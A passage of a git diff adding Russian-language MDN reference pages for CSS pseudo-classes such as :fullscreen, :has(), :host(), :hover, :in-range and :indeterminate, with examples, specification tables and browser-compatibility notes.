+   <td>{{SpecName('CSS4 Selectors', '#focus-pseudo', ':focus')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Без изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#the-user-action-pseudo-classes-hover-act', ':focus')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Без изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#dynamic-pseudo-classes', ':focus')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div>
+
+<p>{{Compat("css.selectors.focus")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{CSSxRef(":focus-visible")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":focus-within")}}</li>
+</ul>
diff --git a/files/ru/web/css/_colon_fullscreen/index.html b/files/ru/web/css/_colon_fullscreen/index.html
new file mode 100644
index 0000000000..68ce93e4cc
--- /dev/null
+++ b/files/ru/web/css/_colon_fullscreen/index.html
@@ -0,0 +1,92 @@
+---
+title: ':fullscreen'
+slug: 'Web/CSS/:fullscreen'
+tags:
+  - Верстка
+  - полноэкранный режим
+  - псевдокласс
+  - экран
+translation_of: 'Web/CSS/:fullscreen'
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/en-US/docs/Web/CSS">CSS</a> <a href="https://wiki.developer.mozilla.org/ru/docs/Web/CSS/%D0%9F%D1%81%D0%B5%D0%B2%D0%B4%D0%BE-%D0%BA%D0%BB%D0%B0%D1%81%D1%81%D1%8B">Псевдокласс</a>  <strong><code>:fullscreen</code></strong> соответствует элементу, который в данный момент находится в полноэкранном режиме. Если в полноэкранном режиме находятся несколько элементов, то выбираются все они. </span></p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примечания_по_использованию">Примечания по использованию</h2>
+
+<p>Псевдокласс <code>:fullscreen</code> позволяет настроить ваши таблицы стилей для автоматического регулирования размера, стилю или шаблона содержимого, когда элемент переключается между полноэкранным режимом и традиционным представлением.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В этом примере, цвет кнопки меняется в зависимости от того, находится ли документ в полноэкранном режиме. Он выполнен без принудительного изменения стиля посредством JavaScript.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<p>HTML выглядит так:</p>
+
+<pre class="brush: html">&lt;h1&gt;MDN Web Docs Demo: :fullscreen pseudo-class&lt;/h1&gt;
+
+&lt;p&gt;This demo uses the &lt;code&gt;:fullscreen&lt;/code&gt; pseudo-class to automatically
+  change the style of a button used to toggle full-screen mode on and off,
+  entirely using CSS.&lt;/p&gt;
+
+&lt;button id="fs-toggle"&gt;Toggle Fullscreen&lt;/button&gt;</pre>
+
+<p>{{HTMLElement("button")}} с ID <code>"fs-toggle"</code> будет изменятся между бледно-красный и бледно-зеленый в зависимости от того, находится ли документ в полноэкранном режиме.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<p>Магия происходит в CSS. Используются два правила. Первое устанавливает цвет фона кнопки на "Toggle Full-screen Mode", когда элемент не находится в полноэкранном режиме. Для этого используется ключ <code>:not(:fullscreen)</code>, который выглядит как элемент, не имеющий установленного псевдокласса <code>:fullscreen</code>.</p>
+
+<pre class="brush: css">#fs-toggle:not(:fullscreen) {
+  background-color: #afa;
+}
+</pre>
+
+<p>Когда документ находится в полноэкранном режиме, применяется следующее правило CSS, устанавливающее цвет фона на оттенок бледно-красного.</p>
+
+<pre class="brush: css">#fs-toggle:fullscreen {
+  background-color: #faa;
+}</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Fullscreen', '#:fullscreen-pseudo-class', ':fullscreen')}}</td>
+   <td>{{Spec2('Fullscreen')}}</td>
+   <td>Первое определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.fullscreen")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Fullscreen_API">Fullscreen API </a></li>
+ <li><a href="/en-US/docs/Web/API/Fullscreen_API/Guide">Guide to the Fullscreen API</a></li>
+ <li>{{cssxref(":not")}}</li>
+ <li>{{cssxref("::backdrop")}}</li>
+ <li>DOM API: {{ domxref("Element.requestFullscreen()") }}, {{ domxref("Document.exitFullscreen()") }}, {{ domxref("Document.fullscreenElement") }}</li>
+ <li>{{HTMLAttrXRef("allowfullscreen", "iframe")}} attribute</li>
+</ul>
diff --git a/files/ru/web/css/_colon_has/index.html b/files/ru/web/css/_colon_has/index.html
new file mode 100644
index 0000000000..d88e2b9dd9
--- /dev/null
+++ b/files/ru/web/css/_colon_has/index.html
@@ -0,0 +1,60 @@
+---
+title: ':has()'
+slug: 'Web/CSS/:has'
+tags:
+  - CSS
+  - Псевдоклассы
+  - Селекторы
+  - Справка
+  - Экспериментальная
+translation_of: 'Web/CSS/:has'
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary">CSS <a href="/Web/CSS/Псевдо-классы">псевдокласс </a><a href="/ru/docs/Web/CSS/Псевдо-классы"> </a><strong><code>:has()</code></strong>  отображает элемент в том случае, если любой из селекторов, переданный в качестве параметра (относительно {{cssxref(":scope")}}), соответствует хотя бы одному элементу.</span></p>
+
+<p>Псведокласс <code>:has()</code> берет соотвествующий список селекторов в качестве аргумента. В ранней версии спецификации CSS Selectors Level 4, <code>:has</code> имел ограничение, которое не позволяло использовать его в таблицах стилей; только с использованием функций, как например: {{domxref("document.querySelector()")}} (из-за проблем с производительностью). На текущий момент, это ограничение снято, так как ни один из браузеров не реализовал это соответствующим образом.</p>
+
+<pre class="brush: css no-line-numbers">/* Выбирает любой тег &lt;a&gt;, если следом за ним находится дочерний элемент &lt;img&gt; */
+/* Отмечу, что это не поддерживается ни одним из браузеров */
+var test = document.querySelector('a:has(&gt; img)');</pre>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<p>Следующий селектор находит только те теги {{HTMLElement("a")}}, которые непосредственно содержат дочерний элемент {{HTMLElement("img")}}:</p>
+
+<pre>a:has(&gt; img)
+</pre>
+
+<p>Следующий селектор находит только те теги {{HTMLElement("h1")}}, при условии, что следом за ними находится элемент {{htmlelement("p")}}:</p>
+
+<pre>h1:has(+ p)</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#relational", ":has()")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, пожалуйста, просмотрите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div>
+
+<p>{{Compat("css.selectors.has")}}</p>
diff --git a/files/ru/web/css/_colon_host()/index.html b/files/ru/web/css/_colon_host()/index.html
new file mode 100644
index 0000000000..c570b027a1
--- /dev/null
+++ b/files/ru/web/css/_colon_host()/index.html
@@ -0,0 +1,87 @@
+---
+title: ':host()'
+slug: 'Web/CSS/:host()'
+translation_of: 'Web/CSS/:host()'
+---
+<div>{{CSSRef}}</div>
+
+<div></div>
+
+<p><span class="seoSummary"><a href="/ru/docs/Web/CSS">CSS</a> функция-<a href="/ru/docs/Web/CSS/%D0%9F%D1%81%D0%B5%D0%B2%D0%B4%D0%BE-%D0%BA%D0%BB%D0%B0%D1%81%D1%81%D1%8B">псевдокласс</a>  <strong><code>:host()</code></strong> выбирает shadow хоста (носителя) <a href="/en-US/docs/Web/Web_Components/Using_shadow_DOM">shadow DOM</a>-a, который содержит CSS, используемый внутри (так что вы можете выбрать пользовательский элемент изнутри его shadow DOM) </span>— но<span class="seoSummary"> только если селектор, переданный как параметр функции, соответствует shadow хосту.</span></p>
+
+<p>Самый очевидный способ использовать его — поставить некоторый класс только на определённые экземпляры пользовательских элементов, а затем передать соответствующий классовый селектор как аргумент функции. Вы не можете использовать псевдокласс c селектором наследника, чтобы выбрать только экземпляры пользовательского элемента, которые находятся внутри определённого предка. Это работа {{CSSxRef(":host-context()")}}.</p>
+
+<div class="note">
+<p><strong>Заметка</strong>: Псевдокласс не имеет эффекта вне shadow DOM.</p>
+</div>
+
+<pre class="brush: css; no-line-numbers notranslate">/* Выбирает хоста shadow root, только
+  если он соответствует аргументу селектора */
+:host(.special-custom-element) {
+  font-weight: bold;
+}
+</pre>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">{{CSSSyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Селективная_стилизация_shadow_хостов">Селективная стилизация shadow хостов</h3>
+
+<p>Следующие ниже фрагменты взяты из нашего примера <a href="https://github.com/mdn/web-components-examples/tree/master/host-selectors">host-selectors</a> (<a href="https://mdn.github.io/web-components-examples/host-selectors/">также смотрите вживую</a>).</p>
+
+<p>В этом примере у нас есть простой пользовательский элемент — <code>&lt;context-span&gt;</code> — который мы оборачиваем вокруг текста:</p>
+
+<pre class="brush: html; notranslate">&lt;h1&gt;Host selectors &lt;a href="#"&gt;&lt;context-span&gt;example&lt;/context-span&gt;&lt;/a&gt;&lt;/h1&gt;</pre>
+
+<p>Внутри конструктора элемента мы создаём элементы <code>style</code> и <code>span</code>, заполняем <code>span</code> контентом пользовательского элемента и заполняем элемент <code>style</code> CSS правилами:</p>
+
+<pre class="brush: js; notranslate">let style = document.createElement('style');
+let span = document.createElement('span');
+span.textContent = this.textContent;
+
+const shadowRoot = this.attachShadow({mode: 'open'});
+shadowRoot.appendChild(style);
+shadowRoot.appendChild(span);
+
+style.textContent = 'span:hover { text-decoration: underline; }' +
+                    ':host-context(h1) { font-style: italic; }' +
+                    ':host-context(h1):after { content: " - no links in headers!" }' +
+                    ':host-context(article, aside) { color: gray; }' +
+                    ':host(.footer) { color : red; }' +
+                    ':host { background: rgba(0,0,0,0.1); padding: 2px 5px; }';</pre>
+
+<p>Правило <code>:host(.footer) { color : red; }</code> стилизует все экземпляры элемента <code>&lt;context-span&gt;</code> (shadow хост в данном случае) в документе, которые имеют класс <code>footer</code> — мы использовали его, чтобы дать экземплярам элемента внутри {{htmlelement("footer")}} особый цвет.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Scope', '#host-selector', ':host()')}}</td>
+   <td>{{Spec2('CSS Scope')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Поддержка браузерами</h2>
+
+<p>{{Compat("css.selectors.hostfunction")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/Web_Components">Веб-компоненты</a></li>
+ <li>{{CSSxRef(":host")}}</li>
+ <li>{{CSSxRef(":host-context()")}}</li>
+</ul>
diff --git a/files/ru/web/css/_colon_hover/index.html b/files/ru/web/css/_colon_hover/index.html
new file mode 100644
index 0000000000..71e25b7e1b
--- /dev/null
+++ b/files/ru/web/css/_colon_hover/index.html
@@ -0,0 +1,194 @@
+---
+title: ':hover'
+slug: 'Web/CSS/:hover'
+tags:
+  - CSS
+  - Псевдоклассы
+  - Руководство
+translation_of: 'Web/CSS/:hover'
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>CSS <a href="/ru/docs/Web/CSS/Псевдо-классы" title="Pseudo-classes">псевдокласс</a> <code>:hover</code> срабатывает, когда пользователь наводит на элемент мышью, но не обязательно активирует его. Этот стиль может переопределяться другими относящимися к ссылкам псевдоклассами, такими как {{ cssxref(":link") }}, {{ cssxref(":visited") }} и {{ cssxref(":active") }}, появляющимися в соответствующем порядке. Чтобы стилизировать ссылки должным образом, вам нужно вставлять правило <code>:hover</code> до правил <code>:link</code> и <code>:visited</code>, но после <code>:active</code>, как определено в <em>LVHA-порядке</em>: <code>:link</code> — <code>:visited</code> — <code>:hover</code> — <code>:active</code>.</p>
+
+<p>Псевдокласс <code>:hover</code> может применяться к любому <a href="/ru/docs/Web/CSS/pseudo-elements" title="Pseudo-classes">псевдоэлементу</a>. {{experimental_inline}}</p>
+
+<p>Браузеры, такие как Firefox, Internet Explorer, Safari, Opera или Chrome, применяют соответствующий стиль, когда курсор (указатель мыши) наводится на элемент.</p>
+
+<div class="note"><strong>Замечания по использованию</strong>: на сенсорных экранах <code>:hover</code> проблемный или не работает. В зависимости от браузера, псевдокласс <code>:hover</code> может никогда не сработать, или сработать на некоторое время после нажатия на элемента, или может продолжать действовать даже остаться после того, как пользователь коснулся элемента до нажатия на другой элемент. Так как сенсорные устройства очень распространены, то веб-разработчикам очень важно не иметь контент, доступный только при наведении, так как такой контент неудобно или невозможно использовать на таких устройствах.</div>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: css">:link:hover { outline: dotted red; }
+
+.foo:hover { background: gold; }
+</pre>
+
+<h3 id="Выпадающее_меню">Выпадающее меню</h3>
+
+<p>С псевдоклассом <code>:hover</code> вы можете создавать сложные каскадные алгоритмы. Эта техника часто используется, например, чтобы создать <strong>выпадающие меню на чистом CSS</strong> (только на CSS, без использования <a href="/en/JavaScript" title="en/JavaScript">JavaScript</a>). Сущность этой техники - создание правил, типа следуюшего:</p>
+
+<pre class="brush: css">div.menu-bar ul ul {
+  display: none;
+}
+
+div.menu-bar li:hover &gt; ul {
+  display: block;
+}
+</pre>
+
+<p>применим к HTML структуре типа следующей:</p>
+
+<pre class="brush: html">&lt;div class="menu-bar"&gt;
+  &lt;ul&gt;
+    &lt;li&gt;
+      &lt;a href="example.html"&gt;Меню&lt;/a&gt;
+      &lt;ul&gt;
+        &lt;li&gt;
+          &lt;a href="example.html"&gt;Ссылка&lt;/a&gt;
+        &lt;/li&gt;
+        &lt;li&gt;
+          &lt;a class="menu-nav" href="example.html"&gt;Подменю&lt;/a&gt;
+          &lt;ul&gt;
+            &lt;li&gt;
+              &lt;a class="menu-nav" href="example.html"&gt;Подменю&lt;/a&gt;
+              &lt;ul&gt;
+                &lt;li&gt;&lt;a href="example.html"&gt;Ссылка&lt;/a&gt;&lt;/li&gt;
+                &lt;li&gt;&lt;a href="example.html"&gt;Ссылка&lt;/a&gt;&lt;/li&gt;
+                &lt;li&gt;&lt;a href="example.html"&gt;Ссылка&lt;/a&gt;&lt;/li&gt;
+                &lt;li&gt;&lt;a href="example.html"&gt;Ссылка&lt;/a&gt;&lt;/li&gt;
+              &lt;/ul&gt;
+            &lt;/li&gt;
+            &lt;li&gt;&lt;a href="example.html"&gt;Ссылка&lt;/a&gt;&lt;/li&gt;
+          &lt;/ul&gt;
+        &lt;/li&gt;
+      &lt;/ul&gt;
+    &lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Смотрите наш полный <a class="internal" href="/@api/deki/files/6238/=css_dropdown_menu.html" title="css_dropdown_menu.html">пример выпадающего меню, основанный на CSS</a>.</p>
+
+<h3 id="Галерея_полноразмерных_изображений_и_превью">Галерея полноразмерных изображений и превью</h3>
+
+<p>Вы можете использовать псевдокласс <code>:hover</code>, чтобы создать галерею изображений с полноразмерными картинками, показываемыми при наведении на них мыши. Посмотрите <a class="internal" href="/@api/deki/files/6247/=css-gallery.zip" title="css-gallery.zip">это демо</a>.</p>
+
+<div class="note"><strong>Замечания:</strong> Для аналагичного эффекта, но основанного на псевдоклассе<a class="internal" href="/en/CSS/%3Achecked" title="en/CSS/:checked"><code>:checked</code></a> (применяется к скрытым радиокнопкам), смотрите <a class="internal" href="/@api/deki/files/6268/=css-checked-gallery.zip" title="css-checked-gallery.zip">это демо</a>, взятое со страницы <a class="internal" href="/ru/docs/Web/CSS/:checked" title="ru/CSS/:checked">ru/CSS/:checked</a>.</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', 'scripting.html#selector-hover', ':hover') }}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS4 Selectors', '#the-hover-pseudo', ':hover') }}</td>
+   <td>{{ Spec2('CSS4 Selectors') }}</td>
+   <td>Может применяться к любым псевдоэлементам.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Selectors', '#the-user-action-pseudo-classes-hover-act', ':hover') }}</td>
+   <td>{{ Spec2('CSS3 Selectors') }}</td>
+   <td>Без значительных изменений.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'selector.html#dynamic-pseudo-classes', ':hover') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>для <code>&lt;a&gt;</code> элементов</td>
+   <td>0.2</td>
+   <td>{{ CompatGeckoDesktop(1.0) }}</td>
+   <td>4.0</td>
+   <td>4.0</td>
+   <td>2.0.4 (419)<br>
+    <font size="2"><span style="line-height: 19.5px;">различные ошибки до этой версии</span></font></td>
+  </tr>
+  <tr>
+   <td>для всех элементов</td>
+   <td>0.2</td>
+   <td>{{ CompatGeckoDesktop(1.0) }}</td>
+   <td>7.0</td>
+   <td>7.0</td>
+   <td>2.0.4 (419)<br>
+    <font size="2"><span style="line-height: 19.5px;">различные ошибки до этой версии</span></font></td>
+  </tr>
+  <tr>
+   <td>для псевдоэлементов</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoDesktop(28) }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>В IE8-11, наведя курсор на элемент, прокручивая вверх/вниз, без перемещения курсора, элемент останется в состоянии <code>:hover</code>, пока курсор не передвинут. Смотрите <a href="https://connect.microsoft.com/IE/feedbackdetail/view/926665">IE баг 926665</a>.</p>
+
+<p>В IE9 (и возможно ранее), если у {{HTMLElement("table")}} есть родитель с {{cssxref("width")}}, установленной не в <code>auto</code> и {{cssxref("overflow-x")}}<code>: auto;</code>, а у {{HTMLElement("table")}} столько контента, что он переполняет родителя по горизонтали, а также есть {{cssxref(":hover")}} стили, установленные на элементы в таблице, то при наведении на указанные элементы будет увеличиваться высота {{HTMLElement("table")}}. <a href="http://jsbin.com/diwiqe">Вот живой пример, которой иллюстрирует этот баг.</a> Один из способов исправления, установление <code>min-height: 0%;</code> на родителя таблицы (должны быть указаны %, <code>0</code> и <code>0px</code> не работают). Баг подняли в <a href="http://bugs.jquery.com/ticket/10854">jQuery ticket #10854</a>, но его закрыли, так как это не ошибка jQuery.</p>
+
+<p>На Safari Mobile for iOS 7.1.2, нажатие на <a href="/ru/docs/Web/Events/click#Safari_Mobile">кликабельный элемент</a> вызывает переход элемента в состояние <code>:hover</code>,  и элемент остаётся в нём, пока другой элемент не войдёт в состояние <code>:hover</code>.</p>
+
+<p>Смотрите также:</p>
+
+<ul>
+ <li><a href="https://code.google.com/p/chromium/issues/detail?id=370155">Chromium баг #370155: Don't make <code>:hover</code> sticky on tap on sites that set a mobile viewport</a></li>
+ <li><a href="https://code.google.com/p/chromium/issues/detail?id=306581">Chromium баг #306581: Immediately show hover and active states on touch when page isn't scrollable.</a></li>
+</ul>
diff --git a/files/ru/web/css/_colon_in-range/index.html b/files/ru/web/css/_colon_in-range/index.html
new file mode 100644
index 0000000000..ed0fc29cf4
--- /dev/null
+++ b/files/ru/web/css/_colon_in-range/index.html
@@ -0,0 +1,138 @@
+---
+title: ':in-range'
+slug: 'Web/CSS/:in-range'
+tags:
+  - CSS
+  - Псевдоклассы
+  - Руководство
+translation_of: 'Web/CSS/:in-range'
+---
+<div>{{CSSRef}}</div>
+
+<div></div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>CSS <a href="/ru/docs/Web/CSS/Псевдо-классы" title="Pseudo-classes">псевдокласс</a> <code>:in-range</code> находит элементы, значение которых соответствует указанному для них диапазону ограничений. Он позволяет странице показывать, когда значение элемента находится в допустимом диапазоне.</p>
+
+<div class="note"><strong>Замечание:</strong> этот псевдокласс применяется только к элементам с заданным диапазоном ограничений. При отсутствии такого ограничения, элемент не может быть ни "в зоне допустимых значений", ни "вне диапазона".</div>
+
+<h2 id="Пример" name="Пример">Пример</h2>
+
+<div id="example">
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html; highlight:[3]">&lt;form action="" id="form1"&gt;
+    &lt;ul&gt;Приминаются значения между 1 и 10.
+        &lt;li&gt;
+            &lt;input id="value1" name="value1" type="number" placeholder="1 to 10" min="1" max="10" value="12"&gt;
+            &lt;label for="value1"&gt;Ваше значение &lt;/label&gt;
+        &lt;/li&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight:[5]">li {
+    list-style: none;
+    margin-bottom: 1em;
+}
+input {
+    border: 1px solid black;
+}
+input:in-range {
+    background-color: rgba(0, 255, 0, 0.25);
+}
+input:out-of-range {
+    background-color: rgba(255, 0, 0, 0.25);
+    border: 2px solid red;
+}
+input:in-range + label::after {
+    content:' НОРМАЛЬНОЕ';
+}
+input:out-of-range + label::after {
+    content:'вне диапозона!';
+}</pre>
+</div>
+
+<div>{{EmbedLiveSample('Пример',600,140)}}</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'scripting.html#selector-in-range', ':in-range')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Определяет, когда <code>:in-range</code> находит элементы вHTML.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#in-range-pseudo', ':in-range')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Поддержка &lt;input&gt;</td>
+   <td>10.0</td>
+   <td>{{CompatGeckoDesktop("29.0")}}</td>
+   <td>{{CompatNo()}}</td>
+   <td>11.0</td>
+   <td>5.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Поддержка &lt;input&gt;</td>
+   <td>2.3</td>
+   <td>{{CompatGeckoMobile("16.0")}}</td>
+   <td>{{CompatNo()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{cssxref(":out-of-range")}}</li>
+ <li><a href="/ru/docs/Web/Guide/HTML/Forms/Data_form_validation">Руководство валидации данных в формах</a></li>
+</ul>
diff --git a/files/ru/web/css/_colon_indeterminate/index.html b/files/ru/web/css/_colon_indeterminate/index.html
new file mode 100644
index 0000000000..d131eb3888
--- /dev/null
+++ b/files/ru/web/css/_colon_indeterminate/index.html
@@ -0,0 +1,130 @@
+---
+title: ':indeterminate'
+slug: 'Web/CSS/:indeterminate'
+tags:
+  - CSS
+  - Псевдо-класс
+  - Разметка
+translation_of: 'Web/CSS/:indeterminate'
+---
+<p>{{CSSRef}}</p>
+
+<p><a href="/ru/docs/Web/CSS">CSS</a><a href="/ru/docs/Web/CSS/Псевдо-классы"> псевдо-класс</a> <strong><code>:indeterminate</code></strong> находит элементы в неопределённом состоянии.</p>
+
+<pre class="brush: css no-line-numbers">/* Выбирает все элементы &lt;input&gt;, которые находятся в неопределенном состоянии */
+input:indeterminate {
+  background: lime;
+}</pre>
+
+<p>Селектор находит следующие элементы:</p>
+
+<ul>
+ <li>Элементы <code><a href="/en-US/docs/Web/HTML/Element/input/checkbox">&lt;input type="checkbox"&gt;</a></code>, свойство <code>indeterminate</code> которых было установлено в <code>true</code> через <a href="/en-US/docs/Web/JavaScript">JavaScript</a></li>
+ <li>Элементы <code><a href="/en-US/docs/Web/HTML/Element/input/radio">&lt;input type="radio"&gt;</a></code>, когда все радио переключатели в одной группе (с одинаковым атрибутом <code>name</code>) невыбраны</li>
+ <li>Элементы {{HTMLElement("progress")}} в неопределённом состоянии</li>
+</ul>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Чекбокс_и_радио_переключатели">Чекбокс и радио переключатели</h3>
+
+<p>В этом примере специальные стили применяются к меткам, которые привязаны к неопределенным полям формы.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;input type="checkbox" id="checkbox"&gt;
+  &lt;label for="checkbox"&gt;Эта метка будет зелёной.&lt;/label&gt;
+&lt;/div&gt;
+&lt;div&gt;
+  &lt;input type="radio" id="radio"&gt;
+  &lt;label for="radio"&gt;Эта метка будет зелёной.&lt;/label&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css; hightlight[5]">input:indeterminate + label {
+  background: lime;
+}
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">var inputs = document.getElementsByTagName("input");
+
+for (var i = 0; i &lt; inputs.length; i++) {
+  inputs[i].indeterminate = true;
+}
+</pre>
+
+<p>{{EmbedLiveSample('Checkbox_radio_button', 'auto', 50)}}</p>
+
+<h3 id="Полоса_прогресса">Полоса прогресса</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;progress&gt;
+</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css; hightlight[5]">progress {
+  margin: 4px;
+}
+
+progress:indeterminate {
+  opacity: 0.5;
+  background-color: lightgray;
+  box-shadow: 0 0 2px 1px red;
+}
+</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample('Progress_bar', 'auto', 30)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#selector-indeterminate', ':indeterminate')}}</td>
